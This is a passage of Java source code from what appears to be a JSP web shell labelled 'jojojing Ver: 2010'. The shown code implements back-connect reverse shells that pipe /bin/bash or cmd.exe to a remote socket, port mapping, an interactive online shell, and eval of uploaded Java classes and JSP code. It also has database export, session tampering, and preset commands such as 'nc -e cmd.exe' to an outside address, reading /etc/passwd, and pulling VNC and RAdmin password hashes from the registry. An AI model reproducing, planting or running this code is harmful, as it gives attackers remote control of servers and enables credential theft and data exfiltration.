2473String yourPort = request.getParameter("yourPort");
2474Socket yourS = new Socket();
2475yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
2476Socket targetS = new Socket();
2477targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
2478StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
2479StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
2480JSession.setAttribute("done","Port Back Success !");
2481((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2482} catch (Exception e) {
2483
2484throw e ;
2485}
2486}
2487}
2488private static class MapPortInvoker extends DefaultInvoker {
2489public boolean doBefore(){return false;}
2490public boolean doAfter(){return false;}
2491public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2492try {
2493PrintWriter out = response.getWriter();
2494String localIP = request.getParameter("localIP");
2495String localPort = request.getParameter("localPort");
2496final String remoteIP = request.getParameter("remoteIP");
2497final String remotePort = request.getParameter("remotePort");
2498if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2499return;
2500Object obj = JSession.getAttribute(PORT_MAP);
2501if (obj != null) {
2502ServerSocket s = (ServerSocket)obj;
2503s.close();
2504}
2505final ServerSocket server = new ServerSocket();
2506server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2507JSession.setAttribute(PORT_MAP,server);
2508new Thread(new Runnable(){
2509public void run(){
2510while (true) {
2511Socket soc = null;
2512Socket remoteSoc = null;
2513DataInputStream remoteIn = null;
2514DataOutputStream remoteOut = null;
2515DataInputStream localIn = null;
2516DataOutputStream localOut = null;
2517try{
2518soc = server.accept();
2519remoteSoc = new Socket();
2520remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
2521remoteIn = new DataInputStream(remoteSoc.getInputStream());
2522remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
2523localIn = new DataInputStream(soc.getInputStream());
2524localOut = new DataOutputStream(soc.getOutputStream());
2525StreamConnector.readFromLocal(localIn,remoteOut);
2526StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
2527}catch(Exception ex)
2528{
2529break;
2530}
2531}
2532}
2533
2534}).start();
2535JSession.setAttribute("done","Map Port Success!");
2536JSession.setAttribute("localIP",localIP);
2537JSession.setAttribute("localPort",localPort);
2538JSession.setAttribute("remoteIP",remoteIP);
2539JSession.setAttribute("remotePort",remotePort);
2540JSession.setAttribute(SESSION_O,"vmp");
2541response.sendRedirect(SHELL_NAME);
2542} catch (Exception e) {
2543
2544throw e ;
2545}
2546}
2547}
2548//VBackConnect
2549private static class VbcInvoker extends DefaultInvoker {
2550public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2551try {
2552PrintWriter out = response.getWriter();
2553Object ip = JSession.getAttribute("ip");
2554Object port = JSession.getAttribute("port");
2555Object program = JSession.getAttribute("program");
2556Object done = JSession.getAttribute("done");
2557JSession.removeAttribute("ip");
2558JSession.removeAttribute("port");
2559JSession.removeAttribute("program");
2560JSession.removeAttribute("done");
2561if (Util.isEmpty(ip))
2562ip = request.getRemoteAddr();
2563if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
2564port = "53";
2565if (Util.isEmpty(program)) {
2566if (ISLINUX)
2567program = "/bin/bash";
2568else
2569program = "cmd.exe";
2570}
2571
2572if (!Util.isEmpty(done))
2573Util.outMsg(out,done.toString());
2574out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2575"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
2576" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2577" <tr>"+
2578" <td><h2 id=\"Bin_H2_Title\">Back Connect >></h2>"+
2579" <div id=\"hOWTm\">"+
2580" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2581" <tr align=\"center\">"+
2582" <td style=\"width:5%\"></td>"+
2583" <td align=\"center\">Your Ip :"+
2584" <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
2585" Your Port :"+
2586" <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
2587" <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
2588" </tr>"+
2589" <tr align=\"center\">"+
2590" <td colspan=\"2\"><br/>"+
2591" <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
2592" </td>"+
2593" </tr>"+
2594" </table>"+
2595" </div>"+
2596"</td>"+
2597"</tr>"+
2598"</table>"+
2599"</form>");
2600} catch (Exception e) {
2601
2602throw e ;
2603}
2604}
2605}
2606private static class BackConnectInvoker extends DefaultInvoker {
2607public boolean doAfter(){return false;}
2608public boolean doBefore(){return false;}
2609public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2610try {
2611String ip = request.getParameter("ip");
2612String port = request.getParameter("port");
2613String program = request.getParameter("program");
2614if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
2615return;
2616Socket socket = new Socket(ip,Integer.parseInt(port));
2617Process process = Runtime.getRuntime().exec(program);
2618(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
2619(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
2620(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
2621JSession.setAttribute("done","Back Connect Success!");
2622JSession.setAttribute("ip",ip);
2623JSession.setAttribute("port",port);
2624JSession.setAttribute("program",program);
2625JSession.setAttribute(SESSION_O,"vbc");
2626response.sendRedirect(SHELL_NAME);
2627} catch (Exception e) {
2628
2629throw e ;
2630}
2631}
2632}
2633private static class JspEnvInvoker extends DefaultInvoker {
2634public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2635try {
2636PrintWriter out = response.getWriter();
2637out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2638" <tr>"+
2639" <td><h2 id=\"Ninty_H2_Title\">System Properties >></h2>"+
2640" <div id=\"ghaB\">"+
2641" <hr/>"+
2642" <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2643Properties pro = System.getProperties();
2644Enumeration names = pro.propertyNames();
2645while (names.hasMoreElements()){
2646String name = (String)names.nextElement();
2647out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
2648}
2649out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment >></h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2650/*
2651 Map envs = System.getenv();
2652Set<Map.Entry<String,String>> entrySet = envs.entrySet();
2653for (Map.Entry<String,String> en:entrySet) {
2654out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
2655}*/
2656out.println("</ul></div></td>"+
2657" </tr>"+
2658" </table>");
2659} catch (Exception e) {
2660
2661throw e ;
2662}
2663}
2664}
2665private static class ReflectInvoker extends DefaultInvoker {
2666public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2667try {
2668PrintWriter out = response.getWriter();
2669String c = request.getParameter("Class");
2670Class cls = null;
2671try {
2672if (!Util.isEmpty(c))
2673cls = Class.forName(c);
2674} catch (ClassNotFoundException ex) {
2675Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
2676}
2677out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
2678" <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
2679" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2680" <tr>"+
2681" <td><h2 id=\"Bin_H2_Title\">Java Reflect >></h2>"+
2682" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2683" <tr>"+
2684" <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
2685" <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
2686" </tr>"+
2687" "+
2688" </table>"+
2689" </td>"+
2690" </tr>"+
2691" </table>"+
2692"</form>");
2693
2694if (cls != null) {
2695StringBuffer sb = new StringBuffer();
2696if (cls.getPackage() != null)
2697sb.append("package "+cls.getPackage().getName()+";\n");
2698String n = null;
2699if (cls.isInterface())
2700n = "";
2701//else if (cls.isEnum())
2702// n = "enum";
2703else
2704n = "class";
2705sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
2706if (cls.getSuperclass() != null)
2707sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
2708if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
2709Class[] faces = cls.getInterfaces();
2710sb.append("\t implements ");
2711for (int i = 0;i<faces.length;i++) {
2712sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
2713if (i != faces.length -1) {
2714sb.append(",");
2715}
2716}
2717}
2718sb.append("{\n\t\n");
2719sb.append("\t//constructors..\n");
2720Constructor[] cs = cls.getConstructors();
2721for (int i = 0;i<cs.length;i++) {
2722Constructor cc = cs[i];
2723sb.append("\t"+cc+";\n");
2724}
2725sb.append("\n\t//fields\n");
2726Field[] fs = cls.getDeclaredFields();
2727for (int i =0;i<fs.length;i++) {
2728Field f = fs[i];
2729sb.append("\t"+f.toString()+";");
2730if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
2731sb.append("\t//value is : ");
2732f.setAccessible(true);
2733Object obj = f.get(null);
2734sb.append("<span style='color:red'>");
2735if (obj != null)
2736sb.append(obj.toString());
2737else
2738sb.append("NULL");
2739
2740sb.append("</span>");
2741}
2742sb.append("\n");
2743}
2744
2745sb.append("\n\t//methods\n");
2746Method[] ms = cls.getDeclaredMethods();
2747for (int i =0;i<ms.length;i++) {
2748Method m = ms[i];
2749sb.append("\t"+ m.toString()+";\n");
2750}
2751sb.append("}\n");
2752String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t"," ").replaceAll("\n","<br/>")+"</span>";
2753Util.outMsg(out,m,"left");
2754}
2755} catch (Exception e) {
2756throw e;
2757}
2758}
2759}
2760private static class TopInvoker extends DefaultInvoker {
2761public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2762try {
2763PrintWriter out = response.getWriter();
2764out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
2765"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
2766" <tr class=\"head\">"+
2767" <td><span style=\"float:right;\"><a href=\"http://www.fifififif.com\" target=\"_blank\">jojojing Ver: 2010 </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
2768" </tr>"+
2769" <tr class=\"alt1\">"+
2770" <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
2771" <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
2772" <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
2773" <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
2774" <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
2775" <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
2776" <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
2777" <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
2778" <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
2779" <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
2780" <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
2781" <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
2782" <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
2783" <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
2784" <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
2785" </tr>"+
2786"</table>");
2787if (JSession.getAttribute(MSG) != null) {
2788Util.outMsg(out,JSession.getAttribute(MSG).toString());
2789JSession.removeAttribute(MSG);
2790}
2791if (JSession.getAttribute(ENTER_MSG) != null) {
2792String outEntry = request.getParameter("outentry");
2793if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
2794Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
2795}
2796} catch (Exception e) {
2797
2798throw e ;
2799}
2800}
2801}
2802private static class VOnLineShellInvoker extends DefaultInvoker {
2803public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2804try {
2805PrintWriter out = response.getWriter();
2806out.println("<script>"+
2807" function $(id) {"+
2808" return document.getElementById(id);"+
2809" }"+
2810" var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
2811" window.onload = function(){"+
2812" setInterval(function(){"+
2813" if ($(\"autoscroll\").checked)"+
2814" {"+
2815" var f = window.frames[\"echo\"];"+
2816" if (f && f.document && f.document.body)"+
2817" {"+
2818" if (!ie)"+
2819" {"+
2820" if (f.document.body.offsetHeight)"+
2821" {"+
2822" f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
2823" }"+
2824" } else {"+
2825" f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
2826" }"+
2827" }"+
2828" }"+
2829" },500);"+
2830" }"+
2831" </script>");
2832out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2833" <tr>"+
2834" <td>");
2835out.println("<h2>Shell OnLine »</h2><br/>");
2836out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
2837" <input type=\"submit\" value=\" start \" class=\"bt\">"+
2838" <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
2839" <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
2840" </form>"+
2841" <hr/>"+
2842" <iframe class=\"secho\" name=\"echo\" src=\"\">"+
2843" </iframe>"+
2844" <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
2845" <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
2846" <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
2847" <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
2848" <option value=\"\" selected> </option>"+
2849" <option value=\"uname -a\">uname -a</option>"+
2850" <option value=\"cat /etc/issue\">issue</option>"+
2851" <option value=\"cat /etc/passwd\">passwd</option>"+
2852" <option value=\"netstat -an\">netstat -an</option>"+
2853" <option value=\"net user\">net user</option>"+
2854" <option value=\"tasklist\">tasklist</option>"+
2855" <option value=\"tasklist /svc\">tasklist /svc</option>"+
2856" <option value=\"net start\">net start</option>"+
2857" <option value=\"net stop policyagent /yes\">net stop</option>"+
2858" <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
2859" <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
2860" <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
2861" <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
2862" <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
2863" <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
2864" <option value=\"systeminfo\">systeminfo</option>"+
2865" <option value=\"net localgroup\">view groups</option>"+
2866" <option value=\"net localgroup administrators\">view admins</option>"+
2867" </select>"+
2868" <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
2869" <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
2870" </form>"+
2871" <iframe style=\"display:none\" name=\"asyn\"></iframe>"
2872);
2873out.println(" </td>"+
2874" </tr>"+
2875"</table>");
2876} catch (Exception e) {
2877throw e ;
2878}
2879}
2880}
2881private static class OnLineInvoker extends DefaultInvoker {
2882public boolean doBefore(){return false;}
2883public boolean doAfter(){return false;}
2884public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2885try {
2886String type = request.getParameter("type");
2887if (Util.isEmpty(type))
2888return;
2889if (type.toLowerCase().equals("start")) {
2890String exe = request.getParameter("exe");
2891if (Util.isEmpty(exe))
2892return;
2893Process pro = Runtime.getRuntime().exec(exe);
2894ByteArrayOutputStream outs = new ByteArrayOutputStream();
2895response.setContentLength(100000000);
2896response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
2897OnLineProcess olp = new OnLineProcess(pro);
2898JSession.setAttribute(SHELL_ONLINE,olp);
2899new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
2900new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
2901new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
2902Thread.sleep(1000 * 60 * 60 * 24);
2903} else if (type.equals("ecmd")) {
2904Object o = JSession.getAttribute(SHELL_ONLINE);
2905String cmd = request.getParameter("cmd");
2906if (Util.isEmpty(cmd))
2907return;
2908if (o == null)
2909return;
2910OnLineProcess olp = (OnLineProcess)o;
2911olp.setCmd(cmd);
2912} else {
2913Object o = JSession.getAttribute(SHELL_ONLINE);
2914if (o == null)
2915return;
2916OnLineProcess olp = (OnLineProcess)o;
2917olp.stop();
2918}
2919} catch (Exception e) {
2920
2921throw e;
2922}
2923}
2924}
2925private static class EnterInvoker extends DefaultInvoker {
2926public boolean doBefore(){return false;}
2927public boolean doAfter(){return false;}
2928public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2929PrintWriter out = response.getWriter();
2930String type = request.getParameter("type");
2931if (!Util.isEmpty(type)) {
2932JSession.removeAttribute(ENTER);
2933JSession.removeAttribute(ENTER_MSG);
2934JSession.removeAttribute(ENTER_CURRENT_DIR);
2935JSession.setAttribute(MSG,"Exit File Success ! ");
2936} else {
2937String f = request.getParameter("filepath");
2938if (Util.isEmpty(f))
2939return;
2940JSession.setAttribute(ENTER,f);
2941JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
2942}
2943response.sendRedirect(SHELL_NAME);
2944}
2945}
2946private static class VExport2FileInvoker extends DefaultInvoker {
2947public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2948PrintWriter out = response.getWriter();
2949String type = request.getParameter("type");
2950String sql = request.getParameter("sql");
2951String table = request.getParameter("table");
2952if (Util.isEmpty(sql) && Util.isEmpty(table)) {
2953JSession.setAttribute(SESSION_O,"vConn");
2954response.sendRedirect(SHELL_NAME);
2955return;
2956}
2957out.println("<form action=\"\" method=\"post\">"+
2958"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2959" <tr>"+
2960" <td>"+
2961" <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
2962" <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
2963" <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","""))+"\"/>"+
2964" <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
2965" <h2>Export To File »</h2>"+
2966" "+
2967" <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
2968" <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
2969" <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
2970" </tr>"+
2971" </table>"+
2972"</form>");
2973}
2974}
2975
2976private static class ExportInvoker extends DefaultInvoker {
2977public boolean doBefore(){return false;}
2978public boolean doAfter(){return false;}
2979public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2980String type = request.getParameter("type");
2981String filepath = request.getParameter("filepath");
2982String encode = request.getParameter("encode");
2983String sql = null;
2984DBOperator dbo = null;
2985dbo = (DBOperator)JSession.getAttribute(DBO);
2986
2987if (Util.isEmpty(type)) {
2988//table export
2989String tb = request.getParameter("table");
2990if (Util.isEmpty(tb))
2991return;
2992String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
2993sql = "select * from "+s+tb+s;
2994
2995} else if (type.equals("queryexp")) {
2996//query export
2997sql = request.getParameter("sql");
2998if (Util.isEmpty(sql)) {
2999JSession.setAttribute(SESSION_O,"vConn");
3000response.sendRedirect(SHELL_NAME);
3001return;
3002}
3003}
3004Object o = dbo.execute(sql);
3005ByteArrayOutputStream bout = new ByteArrayOutputStream();
3006byte[] rowSep = "\r\n".getBytes();
3007if (o instanceof ResultSet) {
3008ResultSet rs = (ResultSet)o;
3009ResultSetMetaData meta = rs.getMetaData();
3010int count = meta.getColumnCount();
3011for (int i =1;i<=count;i++) {
3012String colName = meta.getColumnName(i)+"\t";
3013byte[] b = null;
3014if (Util.isEmpty(encode))
3015b = colName.getBytes();
3016else
3017b = colName.getBytes(encode);
3018bout.write(b,0,b.length);
3019}
3020bout.write(rowSep,0,rowSep.length);
3021while (rs.next()) {
3022for (int i =1;i<=count;i++) {
3023String v = null;
3024try {
3025v = rs.getString(i);
3026} catch (SQLException ex) {
3027v = "<<Error!>>";
3028}
3029v += "\t";
3030byte[] b = null;
3031if (Util.isEmpty(encode))
3032b = v.getBytes();
3033else
3034b = v.getBytes(encode);
3035bout.write(b,0,b.length);
3036}
3037bout.write(rowSep,0,rowSep.length);
3038}
3039rs.close();
3040ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
3041BufferedOutputStream output = null;
3042if (!Util.isEmpty(filepath)) {
3043//export2file
3044output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
3045} else {
3046//download.
3047response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
3048output = new BufferedOutputStream(response.getOutputStream());
3049}
3050byte[] data = new byte[1024];
3051int len = input.read(data);
3052while (len != -1) {
3053output.write(data,0,len);
3054len = input.read(data);
3055}
3056bout.close();
3057input.close();
3058output.close();
3059if (!Util.isEmpty(filepath)) {
3060JSession.setAttribute(MSG,"Export To File Success !");
3061response.sendRedirect(SHELL_NAME);
3062}
3063}
3064}
3065}
3066private static class EvalInvoker extends DefaultInvoker {
3067public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3068String type = request.getParameter("type");
3069PrintWriter out = response.getWriter();
3070Object msg = JSession.getAttribute(MSG);
3071if (msg != null) {
3072Util.outMsg(out,(String)msg);
3073JSession.removeAttribute(MSG);
3074}
3075if (Util.isEmpty(type)) {
3076out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3077" <tr>"+
3078" <td><h2>Eval Java Code »</h2>"+
3079"<hr/>"+
3080" <p>"+
3081" <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
3082"UpLoad a Class File : ");
3083Util.outMsg(out,"<pre>"+
3084"<span style='color:blue'>public class</span> SpyEval{\r\n"+
3085" <span style='color:blue'>static</span> {\r\n"+
3086" <span style='color:green'>//Your Code Here.</span>\r\n"+
3087" }\r\n"+
3088"}\r\n"+
3089"</pre>","left");
3090out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
3091" <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
3092" <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
3093" <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
3094" <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
3095" </form>"+
3096" </p>"+
3097" </td>"+
3098" </tr>"+
3099"</table>");
3100} else if (type.equals("jsp")){
3101String jspc = request.getParameter("jspc");
3102if (Util.isEmpty(jspc))
3103return;
3104File f = new File(SHELL_DIR,"evaltmpninty.jsp");
3105BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
3106writer.write(jspc,0,jspc.length());
3107writer.flush();
3108writer.close();
3109out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3110" <tr>"+
3111" <td><h2>Jsp Eval Result »</h2>");
3112out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3113request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
3114out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3115f.delete();
3116}
3117}
3118}
3119private static class EvalUploadInvoker extends DefaultInvoker {
3120public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3121ByteArrayOutputStream stream = new ByteArrayOutputStream();
3122UploadBean upload = new UploadBean();
3123upload.setTargetOutput(stream);
3124upload.parseRequest(request);
3125
3126if (stream.toByteArray().length == 2) {
3127JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
3128((Invoker)ins.get("ev")).invoke(request,response,JSession);
3129return;
3130}
3131SpyClassLoader loader = new SpyClassLoader();
3132try {
3133Class c = loader.defineClass(null,stream.toByteArray());
3134c.newInstance();
3135}catch(Exception e) {
3136}
3137stream.close();
3138JSession.setAttribute(MSG,"Eval Java Class Done ! ");
3139((Invoker)ins.get("ev")).invoke(request,response,JSession);
3140}
3141}
3142private static class VOtherInvoker extends DefaultInvoker {
3143public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3144try {
3145PrintWriter out = response.getWriter();
3146Object msg = JSession.getAttribute(MSG);
3147if (msg != null) {
3148Util.outMsg(out,(String)msg);
3149JSession.removeAttribute(MSG);
3150}
3151out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3152" <tr>"+
3153" <td><h2 id=\"Bin_H2_Title\">Session Manager>></h2><hr/>"+
3154" <div id=\"hOWTm\" style=\"line-height:30px\">"+
3155" <ul>");
3156Enumeration en = JSession.getAttributeNames();
3157while (en.hasMoreElements()) {
3158Object o = en.nextElement();
3159if (o.toString().equals(MSG))
3160continue;
3161out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
3162out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
3163out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
3164out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
3165out.println("</form></li>");
3166}
3167out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
3168"<legend>New Session Attribute</legend>"+
3169"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
3170" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
3171" </fieldset></form></li></ul></div></td>"+
3172" </tr>"+
3173" </table>");
3174} catch (Exception e) {
3175throw e ;
3176}
3177}
3178}
3179//Session Manager
3180private static class SmInvoker extends DefaultInvoker {
